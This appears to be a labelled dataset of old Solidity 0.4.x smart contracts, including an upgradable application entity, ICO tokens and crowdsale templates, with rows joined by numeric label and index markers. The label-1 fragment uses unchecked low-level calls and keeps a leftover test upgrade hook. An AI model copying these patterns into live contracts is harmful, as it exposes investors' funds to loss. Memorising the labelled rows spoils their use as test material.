function initialize() external requireNotInitialised onlyGatewayInterface returns (bool) {
_initialized = true;
EventAppEntityReady( address(this) );
return true;
}
function getParentAddress() external view returns(address) {
return GatewayInterfaceAddress;
}
function createCodeUpgradeProposal(
address _newAddress,
bytes32 _sourceCodeUrl
)
external
requireInitialised
onlyGatewayInterface
returns (uint256)
{
EventAppEntityCodeUpgradeProposal ( _newAddress, _sourceCodeUrl );
return ProposalsEntity.addCodeUpgradeProposal(_newAddress, _sourceCodeUrl);
}
function acceptCodeUpgradeProposal(address _newAddress) external onlyProposalsAsset {
GatewayInterfaceEntity.approveCodeUpgrade( _newAddress );
}
function initializeAssetsToThisApplication() external onlyGatewayInterface returns (bool) {
for(uint8 i = 0; i < AssetCollectionNum; i++ ) {
bytes32 _name = AssetCollectionIdToName[i];
address current = AssetCollection[_name];
if(current != address(0x0)) {
if(!current.call(bytes4(keccak256("setInitialOwnerAndName(bytes32)")), _name) ) {
revert();
}
} else {
revert();
}
}
EventAppEntityInitAssetsToThis( AssetCollectionNum );
return true;
}
function transferAssetsToNewApplication(address _newAddress) external onlyGatewayInterface returns (bool){
for(uint8 i = 0; i < AssetCollectionNum; i++ ) {
bytes32 _name = AssetCollectionIdToName[i];
address current = AssetCollection[_name];
if(current != address(0x0)) {
if(!current.call(bytes4(keccak256("transferToNewOwner(address)")), _newAddress) ) {
revert();
}
} else {
revert();
}
}
EventAppEntityAssetsToNewApplication ( _newAddress );
return true;
}
function lock() external onlyGatewayInterface returns (bool) {
_locked = true;
CurrentEntityState = getEntityState("UPGRADED");
EventAppEntityLocked(address(this));
return true;
}
address testAddressAllowUpgradeFrom;
function canInitiateCodeUpgrade(address _sender) public view returns(bool) {
if(testAddressAllowUpgradeFrom != 0x0 && testAddressAllowUpgradeFrom == _sender) {
return true;
}
return false;
}
modifier onlyGatewayInterface() {
require(GatewayInterfaceAddress != address(0) && msg.sender == GatewayInterfaceAddress);
_;
}
modifier onlyProposalsAsset() {
require(msg.sender == address(ProposalsEntity));
_;
}
modifier requireNoParent() {
require(GatewayInterfaceAddress == address(0x0));
_;
}
modifier requireNotInitialised() {
require(_initialized == false && _locked == false);
_;
}
modifier requireInitialised() {
require(_initialized == true && _locked == false);
_;
}
modifier onlyDeployer() {
require(msg.sender == deployerAddress);
_;
}
event DebugApplicationRequiredChanges( uint8 indexed _current, uint8 indexed _required );
event EventApplicationEntityProcessor(uint8 indexed _current, uint8 indexed _required);
function doStateChanges() public {
if(!_locked) {
AssetProcessor();
var (returnedCurrentEntityState, EntityStateRequired) = getRequiredStateChanges();
bool callAgain = false;
DebugApplicationRequiredChanges( returnedCurrentEntityState, EntityStateRequired );
if(EntityStateRequired != getEntityState("__IGNORED__") ) {
EntityProcessor(EntityStateRequired);
callAgain = true;
}
} else {
revert();
}
}
function hasRequiredStateChanges() public view returns (bool) {
bool hasChanges = false;
if(!_locked) {
var (returnedCurrentEntityState, EntityStateRequired) = getRequiredStateChanges();
returnedCurrentEntityState = 0;
if(EntityStateRequired != getEntityState("__IGNORED__") ) {
hasChanges = true;
}
if(anyAssetHasChanges()) {
hasChanges = true;
}
}
return hasChanges;
}
function anyAssetHasChanges() public view returns (bool) {
if( FundingEntity.hasRequiredStateChanges() ) {
return true;
}
if( FundingManagerEntity.hasRequiredStateChanges() ) {
return true;
}
if( MilestonesEntity.hasRequiredStateChanges() ) {
return true;
}
if( ProposalsEntity.hasRequiredStateChanges() ) {
return true;
}
return extendedAnyAssetHasChanges();
}
function extendedAnyAssetHasChanges() internal view returns (bool) {
if(_initialized) {}
return false;
}
function extendedAssetProcessor() internal {
if ( CurrentEntityState == 255 ) {
ProposalsEntity.process();
}
}
function AssetProcessor() internal {
if ( CurrentEntityState == getEntityState("NEW") ) {
if(FundingEntity.hasRequiredStateChanges()) {
FundingEntity.doStateChanges();
}
if(FundingManagerEntity.hasRequiredStateChanges()) {
FundingManagerEntity.doStateChanges();
}
if( MilestonesEntity.hasRequiredStateChanges() ) {
MilestonesEntity.doStateChanges();
}
} else if ( CurrentEntityState == getEntityState("WAITING") ) {
if( FundingEntity.hasRequiredStateChanges() ) {
FundingEntity.doStateChanges();
}
}
else if ( CurrentEntityState == getEntityState("IN_FUNDING") ) {
if( FundingEntity.hasRequiredStateChanges() ) {
FundingEntity.doStateChanges();
}
if( FundingManagerEntity.hasRequiredStateChanges() ) {
FundingManagerEntity.doStateChanges();
}
}
else if ( CurrentEntityState == getEntityState("IN_DEVELOPMENT") ) {
if( FundingManagerEntity.hasRequiredStateChanges() ) {
FundingManagerEntity.doStateChanges();
}
if(MilestonesEntity.hasRequiredStateChanges()) {
MilestonesEntity.doStateChanges();
}
if(ProposalsEntity.hasRequiredStateChanges()) {
ProposalsEntity.process();
}
}
else if ( CurrentEntityState == getEntityState("DEVELOPMENT_COMPLETE") ) {
if(ProposalsEntity.hasRequiredStateChanges()) {
ProposalsEntity.process();
}
}
extendedAssetProcessor();
}
function EntityProcessor(uint8 EntityStateRequired) internal {
EventApplicationEntityProcessor( CurrentEntityState, EntityStateRequired );
CurrentEntityState = EntityStateRequired;
if ( EntityStateRequired == getEntityState("IN_FUNDING") ) {
}
}
function getRequiredStateChanges() public view returns (uint8, uint8) {
uint8 EntityStateRequired = getEntityState("__IGNORED__");
if( CurrentEntityState == getEntityState("NEW") ) {
EntityStateRequired = getEntityState("WAITING");
} else if ( CurrentEntityState == getEntityState("WAITING") ) {
if( FundingEntity.CurrentEntityState() == FundingEntity.getEntityState("IN_PROGRESS") ) {
EntityStateRequired = getEntityState("IN_FUNDING");
}
} else if ( CurrentEntityState == getEntityState("IN_FUNDING") ) {
if(FundingEntity.CurrentEntityState() == FundingEntity.getEntityState("SUCCESSFUL_FINAL")) {
EntityStateRequired = getEntityState("IN_DEVELOPMENT");
} else if(FundingEntity.CurrentEntityState() == FundingEntity.getEntityState("FAILED_FINAL")) {
EntityStateRequired = getEntityState("IN_GLOBAL_CASHBACK");
}
} else if ( CurrentEntityState == getEntityState("IN_DEVELOPMENT") ) {
if(MilestonesEntity.CurrentEntityState() == MilestonesEntity.getEntityState("DEVELOPMENT_COMPLETE")) {
EntityStateRequired = getEntityState("DEVELOPMENT_COMPLETE");
}
if(MilestonesEntity.CurrentEntityState() == MilestonesEntity.getEntityState("DEADLINE_MEETING_TIME_FAILED")) {
EntityStateRequired = getEntityState("IN_GLOBAL_CASHBACK");
}
} else if ( CurrentEntityState == getEntityState("START_CODE_UPGRADE") ) {
} else if ( CurrentEntityState == getEntityState("IN_CODE_UPGRADE") ) {
} else if ( CurrentEntityState == getEntityState("FINISHED_CODE_UPGRADE") ) {
}
return (CurrentEntityState, EntityStateRequired);
}
function getTimestamp() view public returns (uint256) {
return now;
}
} | 1 | 3,103 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract MintableToken is StandardToken, Ownable, Pausable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 public constant maxTokensToMint = 1500000000 ether;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) {
return mintInternal(_to, _amount);
}
function finishMinting() whenNotPaused onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) {
require(totalSupply_.add(_amount) <= maxTokensToMint);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
}
contract Well is MintableToken {
string public constant name = "Token Well";
string public constant symbol = "WELL";
bool public transferEnabled = false;
uint8 public constant decimals = 18;
uint256 public rate = 9000;
uint256 public constant hardCap = 30000 ether;
uint256 public weiFounded = 0;
uint256 public icoTokensCount = 0;
address public approvedUser = 0x1ca815aBdD308cAf6478d5e80bfc11A6556CE0Ed;
address public wallet = 0x1ca815aBdD308cAf6478d5e80bfc11A6556CE0Ed;
bool public icoFinished = false;
uint256 public constant maxTokenToBuy = 600000000 ether;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
modifier canTransfer() {
require(transferEnabled);
_;
}
modifier onlyOwnerOrApproved() {
require(msg.sender == owner || msg.sender == approvedUser);
_;
}
function enableTransfer() onlyOwner returns (bool) {
transferEnabled = true;
return true;
}
function finishIco() onlyOwner returns (bool) {
icoFinished = true;
icoTokensCount = totalSupply_;
return true;
}
modifier canBuyTokens() {
require(!icoFinished && weiFounded.add(msg.value) <= hardCap);
_;
}
function setApprovedUser(address _user) onlyOwner returns (bool) {
require(_user != address(0));
approvedUser = _user;
return true;
}
function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
function() payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) canBuyTokens whenNotPaused payable {
require(msg.value != 0);
require(beneficiary != 0x0);
uint256 weiAmount = msg.value;
uint256 bonus = 0;
bonus = getBonusByDate();
uint256 tokens = weiAmount.mul(rate);
if (bonus > 0) {
tokens += tokens.mul(bonus).div(100);
}
require(totalSupply_.add(tokens) <= maxTokenToBuy);
require(mintInternal(beneficiary, tokens));
weiFounded = weiFounded.add(weiAmount);
TokenPurchase(msg.sender, beneficiary, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function changeWallet(address _newWallet) onlyOwner returns (bool) {
require(_newWallet != 0x0);
wallet = _newWallet;
return true;
}
function getBonusByDate() view returns (uint256){
if (block.timestamp < 1514764800) return 0;
if (block.timestamp < 1521158400) return 40;
if (block.timestamp < 1523836800) return 30;
if (block.timestamp < 1523923200) return 25;
if (block.timestamp < 1524441600) return 20;
if (block.timestamp < 1525046400) return 10;
if (block.timestamp < 1525651200) return 5;
return 0;
}
} | 0 | 513 |
pragma solidity ^0.4.21;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "MAKEAFOLIO";
string constant TOKEN_SYMBOL = "MAF";
bool constant PAUSED = true;
address constant TARGET_USER = 0x8De57367b1Bb53afc74f5efAbAebC3A971FA69A9;
uint constant START_TIME = 1530417600;
bool constant CONTINUE_MINTING = false;
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale {
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
token.finishMinting();
}
token.transferOwnership(TARGET_USER);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 bonusRate = getBonusRate(weiAmount);
uint256 tokens = weiAmount.mul(bonusRate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonusRate(uint256 weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[5] memory weiRaisedStartsBoundaries = [uint(0),uint(4583333333333333333333),uint(8333333333333333333333),uint(16666666666666666666667),uint(25000000000000000000000)];
uint[5] memory weiRaisedEndsBoundaries = [uint(4583333333333333333333),uint(8333333333333333333333),uint(16666666666666666666667),uint(25000000000000000000000),uint(33333333333333333333333)];
uint64[5] memory timeStartsBoundaries = [uint64(1530417600),uint64(1530417600),uint64(1530417600),uint64(1530417600),uint64(1530417600)];
uint64[5] memory timeEndsBoundaries = [uint64(1543640395),uint64(1543640395),uint64(1543640395),uint64(1543640395),uint64(1543640395)];
uint[5] memory weiRaisedAndTimeRates = [uint(300),uint(200),uint(150),uint(100),uint(50)];
for (uint i = 0; i < 5; i++) {
bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]);
bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping (address => bool) private whitelist;
event WhitelistedAddressAdded(address indexed _address);
event WhitelistedAddressRemoved(address indexed _address);
modifier onlyIfWhitelisted(address _buyer) {
require(whitelist[_buyer]);
_;
}
function isWhitelisted(address _address) public view returns (bool) {
return whitelist[_address];
}
function validPurchase() internal view onlyIfWhitelisted(msg.sender) returns (bool) {
return super.validPurchase();
}
function addAddressToWhitelist(address _address) external onlyOwner {
whitelist[_address] = true;
emit WhitelistedAddressAdded(_address);
}
function addAddressesToWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
whitelist[_addresses[i]] = true;
emit WhitelistedAddressAdded(_addresses[i]);
}
}
function removeAddressFromWhitelist(address _address) external onlyOwner {
delete whitelist[_address];
emit WhitelistedAddressRemoved(_address);
}
function removeAddressesFromWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
delete whitelist[_addresses[i]];
emit WhitelistedAddressRemoved(_addresses[i]);
}
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, CappedCrowdsale
, WhitelistedCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
function TemplateCrowdsale(MintableToken _token) public
Crowdsale(START_TIME > now ? START_TIME : now, 1543640400, 1200 * TOKEN_DECIMAL_MULTIPLIER, 0x8BcC12F71e4C0C5f73C0dF9afbB3ed1de66DdD79)
CappedCrowdsale(50000000000000000000000)
{
token = _token;
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[3] memory addresses = [address(0xbbc01d55a41a9eadd12027fe8088ed84768c3f0d),address(0x6cfd2db944e2b28a61a4f3f2cfb1973f0758cc3b),address(0x221be49cd399b8aaf0ade2485d6535e10518700d)];
uint[3] memory amounts = [uint(12500000000000000000000000),uint(7500000000000000000000000),uint(20000000000000000000000000)];
uint64[3] memory freezes = [uint64(0),uint64(0),uint64(1561953604)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function createTokenContract() internal returns (MintableToken) {
return MintableToken(0);
}
function validPurchase() internal view returns (bool) {
bool minValue = msg.value >= 100000000000000000;
bool maxValue = msg.value <= 1000000000000000000000;
return
minValue &&
maxValue &&
super.validPurchase();
}
function hasEnded() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 100000000000000000;
return super.hasEnded() || remainValue;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < endTime);
require(now < _endTime);
require(_endTime > startTime);
emit TimesChanged(startTime, _endTime, startTime, endTime);
endTime = _endTime;
}
} | 0 | 81 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
